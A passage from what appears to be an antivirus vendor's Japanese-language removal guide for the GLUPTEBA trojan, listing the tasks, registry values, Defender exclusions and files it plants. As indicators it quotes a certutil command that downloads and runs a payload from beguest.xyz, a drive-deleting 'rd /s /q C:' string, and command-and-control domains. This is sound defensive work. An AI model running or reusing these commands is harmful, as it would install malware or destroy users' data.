手順 2

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 3

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム（OS）の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル／フォルダ／レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 4

Windowsをセーフモードで再起動します。

手順 5

スケジュールされたタスクを削除します。

Windows 2000、XP および Server 2003 の場合：

1. Windowsのスケジュールされたタスクを起動します。
   [スタート]-[すべてのプログラム]-[アクセサリ]-[システム ツール]-[タスク]を開きます。
2. スケジュール欄に以下の値がある該当タスクを指定します。
   
   • Task Name: csrss<br/>Schedule: At log on of any user<br/>Task to be run: %Windows%\rss\csrss.exe
   • Task Name: ScheduledUpdate<br/>Schedule: At log on of any user<br/>Task to be run: cmd.exe /C certutil.exe -rulcache -split -f http://beguest.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe
3. 上記タスク上で右クリックし、[プロパティ]をクリックします。
4. タブ[タスク]の「実行するファイル名」欄に、以下の文字列を含むかどうか確認します。
   Cmd /c /rd /s /q C:
5. 上記文字列が確認された場合、該当タスクを削除します。

Windows Vista、7、Server 2008、8、8.1 および Server 2012 の場合：

1. Windowsタスクスケジューラ画面を開きます。
   • Windows Vista、7 および Server 2008 の場合：
     • [スタート]を選択し、[検索]欄に"taskschd.msc"と入力して、Enterを押します。
   • Windows 8、8.1 および Server 2012 の場合：
     • 画面の左下隅を右クリックし、[実行]を選択し、"taskschd.msc"と入力。Enterを押します。
2. 左側のパネルで、[タスクスケジューラライブラリ]をクリック。
3. 上部中央のパネルで、[トリガー]欄に値を含む各タスクを確認します。
   
   • Task Name: csrss<br/>Schedule: At log on of any user<br/>Task to be run: %Windows%\rss\csrss.exe
   • Task Name: ScheduledUpdate<br/>Schedule: At log on of any user<br/>Task to be run: cmd.exe /C certutil.exe -rulcache -split -f http://beguest.xyz/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe
4. 中央下のパネルの[操作]タブをクリック。[詳細]欄で以下の文字列を確認します。
   Cmd /c /rd /s /q C:
5. 上述の文字列が確認される場合、該当のタスクを削除します。

手順 6

このレジストリ値を削除します。

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

• In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • {Random Name} = %Windows%\rss\csrss.exe
    

手順 7

不明なレジストリキーを削除します。

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

• HKEY_CURRENT_USER\Software\Microsoft\TestApp
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinmonFS\Instances
• HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinmonFS\Instances\WinmonFS

手順 8

このレジストリ値を削除します。

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %Windows% = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %Windows%\rss = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %Application Data%\EpicNet = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %User Temp%\csrss = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %Application Data%\{Random String} = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %Windows%\windefender.exe = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %User Temp%\wup = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
  • %System%\drivers = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
  • csrss.exe = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
  • cloudnet.exe = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
  • windefender.exe = 0
    
• In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
  • {malware filename}.exe = 0
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • Name = {Random name}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • Firewall = {String}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • Defender = {String}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • Servers = https://venoxcontrol.com, https://okonewacon.com, https://blackempirebuild.com
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • UUID = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • Command = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • FirstInstallDate = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • ServiceVersion = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • PGDSE = 0
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • SC = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • VC = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • PGDSE = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • ServersVersion = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • CDN = http://beguest.xyz
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • PP = {value}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • OSCaption = {Infected machine OS version}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • OSArchitecture = {32 or 64 bit}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • IsAdmin = {1 or 0, checks if file was run as admin}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • AV = {string}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • CPU = {CPU information}
    
• In HKEY_CURRENT_USER\Software\Microsoft\TestApp
  • GPU = {GPU information}
    

手順 9

変更されたレジストリ値を修正します。

警告：レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

• In HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
  • From: Start = 4
    To: Start = (usually 2)
    

手順 10

以下のフォルダを検索し削除します。

• %Windows%\rss
• %User Temp%\csrss

手順 11

以下のファイルを検索し削除します。

• %System%\drivers\Winmon.sys
• %System%\drivers\WinmonFS.sys
• %System%\drivers\winmonProcessMoitor.sys
• %User Temp%\csrss\cloudnet.exe
• %User temp%\csrss\vc.exe
• %Windows%\windefender.exe

手順 12

コンピュータを通常モードで再起動し、最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、「TrojanSpy.Win32.GLUPTEBA.A」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。

手順 13

最新のバージョン（エンジン、パターンファイル）を導入したウイルス対策製品を用い、ウイルス検索を実行してください。「TrojanSpy.Win32.GLUPTEBA.A」と検出したファイルはすべて削除してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。